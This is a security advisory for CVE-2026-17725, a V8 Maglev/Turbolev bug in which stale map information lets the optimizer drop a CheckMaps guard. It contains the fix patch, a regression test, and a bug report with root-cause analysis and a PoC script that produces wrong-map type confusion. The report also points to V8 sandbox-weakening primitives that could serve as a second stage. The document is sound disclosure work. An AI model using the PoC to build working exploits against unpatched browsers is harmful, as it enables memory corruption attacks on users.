CVE-2026-17725
Overview
Files Changed
src/maglev/maglev-known-node-aspects.cctest/mjsunit/turbolev/regress-528501127.js
Patch
From 9068d5fc068f85d0eb723d9b63f15fb56c6db725 Mon Sep 17 00:00:00 2001 From: Victor Gomes <[email protected]> Date: Mon, 29 Jun 2026 11:15:40 +0200 Subject: [PATCH] [maglev] Skip stale maps in StoreMap alias invalidation Fixed: 528501127 Change-Id: Icce0566468bb46dfd352e05a105646ba3f3b9ad4 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8019002 Reviewed-by: Darius Mercadier <[email protected]> Commit-Queue: Victor Gomes <[email protected]> Commit-Queue: Darius Mercadier <[email protected]> Auto-Submit: Victor Gomes <[email protected]> Cr-Commit-Position: refs/heads/main@{#108302} --- diff --git a/src/maglev/maglev-known-node-aspects.cc b/src/maglev/maglev-known-node-aspects.cc index 84a6666..8deaf24 100644 --- a/src/maglev/maglev-known-node-aspects.cc +++ b/src/maglev/maglev-known-node-aspects.cc @@ -492,7 +492,7 @@ if (!node->is_transitioning()) return; if (NodeInfo* node_info = TryGetInfoFor(node->ValueInput().node())) { - if (node_info->possible_maps_are_known() && + if (node_info->possible_maps_are_known() && !node_info->maps_are_stale() && node_info->possible_maps().size() == 1) { compiler::MapRef old_map = node_info->possible_maps().at(0); auto MaybeAliases = [&](compiler::MapRef map) -> bool { diff --git a/test/mjsunit/turbolev/regress-528501127.js b/test/mjsunit/turbolev/regress-528501127.js new file mode 100644 index 0000000..8a8e17d --- /dev/null +++ b/test/mjsunit/turbolev/regress-528501127.js @@ -0,0 +1,25 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax --turbolev + +function f(a, b) { + let tr = (a.w * 1.5) | 0; + a.x = 1.1; + let t1 = b.x; + a.y = 2.2; + let t2 = b.x; + b.z = 3.3; + return tr + t1 + t2; +} +%PrepareFunctionForOptimization(f); +{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); } +%OptimizeFunctionOnNextCall(f); +{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); } + +let o = {w: 0.5}; +f(o, o); +assertEquals("w,x,y,z", Object.keys(o).join(",")); +assertEquals(2.2, o.y); +assertEquals(3.3, o.z);
Regression Test / PoC
diff --git a/test/mjsunit/turbolev/regress-528501127.js b/test/mjsunit/turbolev/regress-528501127.js
new file mode 100644
index 0000000..8a8e17d
--- /dev/null
+++ b/test/mjsunit/turbolev/regress-528501127.js
@@ -0,0 +1,25 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbolev
+
+function f(a, b) {
+ let tr = (a.w * 1.5) | 0;
+ a.x = 1.1;
+ let t1 = b.x;
+ a.y = 2.2;
+ let t2 = b.x;
+ b.z = 3.3;
+ return tr + t1 + t2;
+}
+%PrepareFunctionForOptimization(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+%OptimizeFunctionOnNextCall(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+
+let o = {w: 0.5};
+f(o, o);
+assertEquals("w,x,y,z", Object.keys(o).join(","));
+assertEquals(2.2, o.y);
+assertEquals(3.3, o.z);
Original Bug Report
Turbolev: `RecomputeKnownNodeAspectsProcessor` reads stale `possible_maps` across `StoreMap`, eliding a required `CheckMaps` β wrong-map type confusion
Vulnerability Details
Summary
In the Maglev frontend’s post-build optimizer pass,
KnownNodeAspects::ClearUnstableNodeAspectsForStoreMap
(v8/src/maglev/maglev-known-node-aspects.cc:342-371, d096af1c9e) reads
node_info->possible_maps().at(0) at line 347 without checking
node_info->maps_are_stale(). Because RecomputeKnownNodeAspectsProcessor
has no ProcessNode(StoreMap*) overload, the per-node possible_maps is
not updated after a StoreMap, so the value read at line 347 can be the
pre-transition map.
When two consecutive transitioning property stores are emitted for the same
SSA value, the second StoreMap’s alias-invalidation runs the precise-alias
fast path using the wrong old_map, fails to mark stale a separate SSA
value whose feedback is {intermediate_map}, and the subsequent
ProcessCheckMaps removes the CheckMaps the graph builder correctly
emitted for that value. Generated code then accesses the aliasing object
under a sibling map without a deopt guard.
This is reachable from web content under --turbolev, which ships to a
Finch population in M148 (study V8Turbolev). It is not reachable in
the default configuration without that experiment.
Root cause
Two pieces, both in v8/src/maglev/:
(a) Missing processor overload. RecomputeKnownNodeAspectsProcessor
(maglev-kna-processor.h) handles StoreMap via the generic
MarkPossibleSideEffect<StoreMap> path
(maglev-known-node-aspects.h:666,691-692), which calls
ClearUnstableNodeAspectsForStoreMap for alias invalidation but does not
update the stored object’s own possible_maps to the post-transition map.
The graph builder does this via BuildStoreMap’s post-store
SetPossibleMaps; the recompute pass does not mirror it. So after
StoreMap(obj, MapA β MapB)
the recomputed KNA still has obj.possible_maps == {MapA}, and
maps_are_stale() is false (the precise-alias path at :355-360 only marks
other nodes stale, not obj itself).
(b) Stale read in the precise-alias fast path.
ClearUnstableNodeAspectsForStoreMap:
342 void KnownNodeAspects::ClearUnstableNodeAspectsForStoreMap(
343 StoreMap* store_map, ...) {
344 NodeInfo* node_info = TryGetInfoFor(store_map->object_input().node());
345 if (node_info && node_info->possible_maps_are_known() &&
346 node_info->possible_maps().size() == 1) {
347 compiler::MapRef old_map = node_info->possible_maps().at(0); // β stale
348 compiler::MapRef new_map = store_map->map();
349 // Precise alias invalidation: only nodes whose possible_maps
350 // contains old_map can alias obj.
...
355 for (auto& [node, info] : node_infos_) {
356 if (info.possible_maps().contains(old_map)) {
357 info.SetMapsAreStale();
358 }
359 }
360 return;
361 }
362 // Conservative fallback: mark all unstable maps stale.
...
No maps_are_stale() guard before line 347. With the stale {MapA} from
(a), a second StoreMap(obj, MapB β MapC) reads old_map = MapA, scans for
nodes whose maps contain MapA, and misses any node b with
possible_maps == {MapB} β even though b may alias obj (which actually
has MapB at this program point).
(c) Consequence. ProcessCheckMaps sees b.possible_maps == {MapB},
not stale, matching the CheckMaps(b, {MapB}) the graph builder emitted,
and removes it. After the second transition, obj (== b) has MapC;
generated code stores to b assuming MapB layout with no guard.
Reachability under --turbolev (default-on, no further flags)
Turbolev reuses the Maglev frontend; there is no separate Turboshaft KNA.
RecomputeKnownNodeAspectsProcessor runs via two independent default-on
paths in v8/src/compiler/turboshaft/turbolev-frontend-pipeline.cc:
:303 if (v8_flags.turbolev_non_eager_inlining) { // default TRUE, flag-definitions.h:769
:304 if (!Run<InlinerPhase>()) return {};
β :176-182 maglev::MaglevInliner(graph).Run()
β maglev-inlining.cc:151-157 Run() β RunOptimizer()
β :131-139 RecomputeKnownNodeAspectsProcessor
:306 if (v8_flags.maglev_truncation && ...) { // default TRUE, flag-definitions.h:682
:308 Run<PostOptimizerPhase>(nullptr);
β :228-247 PostOptimizerPhase
β :232 maglev::RecomputeKnownNodeAspectsProcessor
CompilationFlags::ForTurbolev() (maglev-compilation-info.h:103-109)
populates is_non_eager_inlining_enabled from
v8_flags.turbolev_non_eager_inlining, so a Turbolev compilation enables
the inliner without --maglev_non_eager_inlining.
The Maglev-tier path (maglev-compiler.cc:112) is gated solely on
v8_flags.maglev_non_eager_inlining (default false, no Chrome-side
enablement) and is not relevant to Turbolev compilations.
--turbolev ships via Finch in M148
| Evidence | Location |
|---|---|
Finch study V8Turbolev, arm Enabled β enable_features: ["V8Flag_turbolev"], all platforms |
testing/variations/fieldtrial_testing_config.json:23935-23961 |
V8Flag_* β --* declaration-free passthrough |
gin/v8_initializer.cc:223,228-267,309-340 (V8FeatureVisitor) |
| WebView allowlisted to receive the feature | android_webview/.../ProductionSupportedFlagList.java:693 |
The in-tree config proves the study and Enabled arm exist; rollout percentage and channel split are server-side.
Version
- V8 14.9.207 (Chrome M148βM149)
- Reproduced on Google Chrome 149.0.7827.155 (Official Build, Linux x64,
revision
07b52360cc15066f987c910ab34dfbcd4a8778d2) - File:line references in this report are to Chromium
d096af1c9e - Affects all platforms covered by the
V8TurbolevFinch study (android, android_webview, chromeos, linux, mac, windows)
Reproduction Case
Execution-verified on Google Chrome 149.0.7827.155 Official Build (V8 14.9.207.29, Linux x64).
Observed (release build, --allow-natives-syntax --turbolev)
opt status bits: 0b101001 (41)
[manually marking <JSFunction f> for optimization to TURBOFAN_JS, kSynchronous]
[compiling method <JSFunction f> (target TURBOFAN_JS), kSynchronous]
[completed compiling <JSFunction f> (target TURBOFAN_JS) - took 0.007, 16.214, 0.367 ms]
before: y=undefined z=undefined
f(o,o) = 2.2
after: y=undefined z=3.3 hasY=false hasZ=true
keys: w,x,z
JSON: {"w":0.5,"x":1.1,"z":3.3}
a.y = 2.2 executed with a === o, but o has no own property y
afterward β the unguarded b.z transitioning store stamped sibling map
{w,x,z} onto a {w,x,y}-layout object, overwriting slot 2. No deopt fired.
Control (same build, --allow-natives-syntax, no --turbolev)
opt status bits: 0b101001 (41)
before: y=undefined z=undefined
f(o,o) = 2.2
after: y=2.2 z=3.3 hasY=true hasZ=true
keys: w,x,y,z
JSON: {"w":0.5,"x":1.1,"y":2.2,"z":3.3}
Correct semantics under classic TurboFan. Same tier, same opt-status; only the pipeline differs.
PoC
// d8 --allow-natives-syntax --turbolev poc.js
function f(a, b) {
let tr = (a.w * 1.5) | 0; // truncation candidate β PostOptimizerPhase runs
a.x = 1.1; // StoreMap #1: {w} β {w,x}
let t1 = b.x; // CheckMaps(b, {w,x})
a.y = 2.2; // StoreMap #2: {w,x} β {w,x,y}
let t2 = b.x; // CheckMaps(b, {w,x}) β elided by recompute pass
b.z = 3.3; // StoreMap(b, {w,x} β {w,x,z}) β unguarded
return tr + t1 + t2;
}
%PrepareFunctionForOptimization(f);
for (let i = 0; i < 50; i++) {
let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b);
}
%OptimizeFunctionOnNextCall(f);
{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
let o = {w: 0.5};
f(o, o);
print(Object.keys(o).join(","), o.y, o.z);
// --turbolev: "w,x,z undefined 3.3"
// no --turbolev: "w,x,y,z 2.2 3.3"
Security Impact
Wrong-map type confusion in JIT-generated code: a store (or load) executes against an object whose actual map differs from the one the optimizer assumed, with no deopt guard. This is the standard primitive that yields in-cage arbitrary read/write in V8.
A quick note for severity calibration, the same source tree contains two V8-sandbox-weakening primitives that an attacker with cage RW could use as a second stage:
ExternalPointerTable::Set re-tagging (external-pointer-table-inl.h:182)
and CodePointerTable entries carrying no type tag
(code-pointer-table-inl.h:19). I am happy to file those separately if useful.
Suggested Fix
Either of:
-
Guard the fast path. In
ClearUnstableNodeAspectsForStoreMap, add&& !node_info->maps_are_stale()to the condition at lines 345-346, so a stalepossible_mapsfalls through to the conservative path at :362. -
Keep
possible_mapsfresh in the recompute pass. Add aProcessNode(StoreMap*)overload toRecomputeKnownNodeAspectsProcessorthat mirrorsBuildStoreMap’s post-storeSetPossibleMaps(obj, {new_map}), so line 347 reads the correctold_mapfor the secondStoreMap.
(1) is the minimal fix; (2) preserves the precision the fast path is there for.